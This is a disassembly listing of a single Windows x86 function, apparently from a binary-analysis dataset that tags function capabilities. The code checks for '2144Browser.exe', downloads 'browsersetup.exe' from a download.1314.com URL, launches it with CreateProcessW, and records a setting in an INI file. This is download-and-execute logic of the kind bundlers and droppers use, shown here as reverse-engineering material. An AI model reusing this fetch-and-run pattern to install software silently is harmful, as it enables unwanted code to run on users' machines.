Function at 0x407270
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x52991e
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x581980]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
mov eax, dword [0x581980]
xor eax, esp
push eax
lea eax, [esp + 0x148]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
mov dword [esp + 0x14], ebx
push str.2144Browser.exe
mov dword [esp + 0x1c], esi
mov dword [esi + 0x514], 1
call fcn.00457950
push eax
lea eax, [esp + 0xbc]
push eax
call fcn.00402000
add esp, 0xc
mov dword [esp + 0x150], ebx
mov eax, dword [esp + 0xb4]
mov edi, 8
cmp dword [esp + 0xc8], edi
jae 0x407304
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407326
test al, 0x10
jne 0x407326
cmp dword [esp + 0xc8], edi
mov dword [esi + 0x514], ebx
jmp 0x407891
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
mov edi, 7
xor edx, edx
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push 0xb
mov eax, str.DisplayIcon
mov word [esi], dx
call fcn.00403af0
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x188], 1
xor eax, eax
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
mov dword [esp + 0x54], esp
mov word [esi], ax
push 0xb
mov eax, str.2144Browser
call fcn.00403af0
mov byte [esp + 0x188], bl
call fcn.00459e20
add esp, 0x38
cmp eax, ebx
jne 0x40787f
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
xor ecx, ecx
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push 0xb
mov eax, str.DisplayIcon
mov word [esi], cx
call fcn.00403af0
sub esp, 0x1c
mov byte [esp + 0x188], 2
mov esi, esp
mov dword [esp + 0x58], esp
xor edx, edx
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push edi
mov eax, 0x565190
mov word [esi], dx
call fcn.00403af0
mov byte [esp + 0x188], bl
call fcn.00459e20
add esp, 0x38
cmp eax, ebx
jne 0x40787f
mov eax, str.http:__download.1314.com_mini_download_browsersetup.exe
lea ecx, [esp + 0x108]
call fcn.00403be0
mov byte [esp + 0x150], 3
call fcn.00457db0
xor ecx, ecx
push ebx
mov word [esp + 0x9c], cx
push eax
or eax, 0xffffffff
lea ecx, [esp + 0xa0]
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
call fcn.00402710
lea esi, [esp + 0xd0]
mov byte [esp + 0x150], 4
call fcn.004590c0
mov byte [esp + 0x150], 5
mov ecx, dword [esp + 0xd0]
mov esi, 8
cmp dword [esp + 0xe4], esi
jae 0x407467
lea ecx, [esp + 0xd0]
mov eax, dword [esp + 0x98]
cmp dword [esp + 0xac], esi
jae 0x40747e
lea eax, [esp + 0x98]
push ecx
push eax
push str._sbrowser__s.exe
lea eax, [esp + 0x88]
call fcn.004578e0
sub esp, 0x10
mov byte [esp + 0x16c], 6
mov ecx, esp
mov dword [esp + 0x38], esp
push ebx
lea eax, [esp + 0x9c]
xor edx, edx
push eax
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00402710
sub esp, 0x1c
mov byte [esp + 0x188], 7
mov ecx, esp
mov dword [esp + 0x58], esp
push ebx
lea eax, [esp + 0x144]
xor edx, edx
push eax
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00402710
mov byte [esp + 0x188], 6
call fcn.00458a70
add esp, 0x38
cmp al, bl
je 0x40754a
mov ecx, dword [esp + 0x7c]
cmp dword [esp + 0x90], esi
jae 0x407510
lea ecx, [esp + 0x7c]
lea ebx, [esp + 0x124]
call fcn.00458180
mov ecx, eax
mov byte [esp + 0x150], 8
mov eax, dword [ecx + 0x10]
push 0x5641f8
xor edi, edi
mov dword [esp + 0x18], 1
call fcn.00401f90
xor ebx, ebx
lea edi, [ebx + 7]
mov byte [esp + 0x13], bl
test eax, eax
jne 0x40754f
mov byte [esp + 0x13], 1
mov dword [esp + 0x150], 6
test byte [esp + 0x14], 1
je 0x407572
and dword [esp + 0x14], 0xfffffffe
lea esi, [esp + 0x124]
call fcn.00402850
cmp byte [esp + 0x13], bl
je 0x4076af
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push ebx
lea eax, [esp + 0x9c]
xor edx, edx
push eax
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00402710
sub esp, 0x1c
mov byte [esp + 0x188], 9
mov ecx, esp
mov dword [esp + 0x58], esp
push ebx
lea eax, [esp + 0x144]
xor edx, edx
push eax
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00402710
mov byte [esp + 0x188], 6
call fcn.00458a70
add esp, 0x38
cmp al, bl
je 0x407626
cmp dword [esp + 0x90], 8
mov ecx, dword [esp + 0x7c]
jae 0x4075f4
lea ecx, [esp + 0x7c]
lea ebx, [esp + 0x124]
call fcn.00458180
mov byte [esp + 0x150], 0xa
or dword [esp + 0x14], 2
mov esi, 0x5641f8
mov ecx, eax
call fcn.00401f60
xor ebx, ebx
lea edi, [ebx + 7]
mov byte [esp + 0x13], bl
test eax, eax
jne 0x40762b
mov byte [esp + 0x13], 1
mov dword [esp + 0x150], 6
test byte [esp + 0x14], 2
je 0x407649
lea esi, [esp + 0x124]
call fcn.00402850
cmp byte [esp + 0x13], bl
je 0x4076af
sub esp, 0x1c
mov eax, str.dwonload_browser_error_
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.00403be0
call fcn.00405dc0
mov ecx, dword [esp + 0x18]
lea esi, [esp + 0x7c]
mov dword [ecx + 0x514], ebx
call fcn.00402850
lea esi, [esp + 0xd0]
call fcn.00402850
lea esi, [esp + 0x98]
call fcn.00402850
lea esi, [esp + 0x108]
call fcn.00402850
lea esi, [esp + 0xb4]
call fcn.00402850
jmp 0x4078a3
push 0x44
lea edx, [esp + 0x28]
push ebx
push edx
call fcn.004f50f0
xor eax, eax
mov esi, 8
add esp, 0xc
mov word [esp + 0x54], ax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
cmp dword [esp + 0x90], esi
jae 0x4076ec
lea eax, [esp + 0x7c]
push eax
push str.__s_
lea eax, [esp + 0xf4]
call fcn.004578e0
mov eax, dword [esp + 0xf4]
add esp, 8
cmp dword [esp + 0x100], esi
jae 0x407718
lea eax, [esp + 0xec]
push eax
call fcn.004f319b
add esp, 4
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push 0x80
push ebx
push ebx
push ebx
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push esi
call fcn.004f3161
mov eax, dword [esp + 0x1c]
add eax, 0x590
mov esi, 8
add esp, 4
cmp dword [eax + 0x14], esi
jb 0x40775d
mov eax, dword [eax]
push eax
push 0x565270
push 0x565274
push 0x565284
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [esp + 0x18]
mov dword [eax + 0x514], ebx
cmp dword [esp + 0x100], esi
jb 0x407796
mov ecx, dword [esp + 0xec]
push ecx
call fcn.004f287e
add esp, 4
xor edx, edx
mov dword [esp + 0x100], edi
mov dword [esp + 0xfc], ebx
mov word [esp + 0xec], dx
cmp dword [esp + 0x90], esi
jb 0x4077c4
mov eax, dword [esp + 0x7c]
push eax
call fcn.004f287e
add esp, 4
xor ecx, ecx
mov dword [esp + 0x90], edi
mov dword [esp + 0x8c], ebx
mov word [esp + 0x7c], cx
cmp dword [esp + 0xe4], esi
jb 0x4077f2
mov edx, dword [esp + 0xd0]
push edx
call fcn.004f287e
add esp, 4
xor eax, eax
mov dword [esp + 0xe4], edi
mov dword [esp + 0xe0], ebx
mov word [esp + 0xd0], ax
cmp dword [esp + 0xac], esi
jb 0x407823
mov ecx, dword [esp + 0x98]
push ecx
call fcn.004f287e
add esp, 4
xor edx, edx
mov dword [esp + 0xac], edi
mov dword [esp + 0xa8], ebx
mov word [esp + 0x98], dx
cmp dword [esp + 0x11c], esi
jb 0x407854
mov eax, dword [esp + 0x108]
push eax
call fcn.004f287e
add esp, 4
xor ecx, ecx
mov dword [esp + 0x11c], edi
mov dword [esp + 0x118], ebx
mov word [esp + 0x108], cx
cmp dword [esp + 0xc8], esi
jb 0x4078a3
mov edx, dword [esp + 0xb4]
push edx
jmp 0x40789b
mov eax, dword [esp + 0x18]
cmp dword [esp + 0xc8], 8
mov dword [eax + 0x514], ebx
jb 0x4078a3
mov ecx, dword [esp + 0xb4]
push ecx
call fcn.004f287e
add esp, 4
mov ecx, dword [esp + 0x148]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004f2889
mov esp, ebp
pop ebp
ret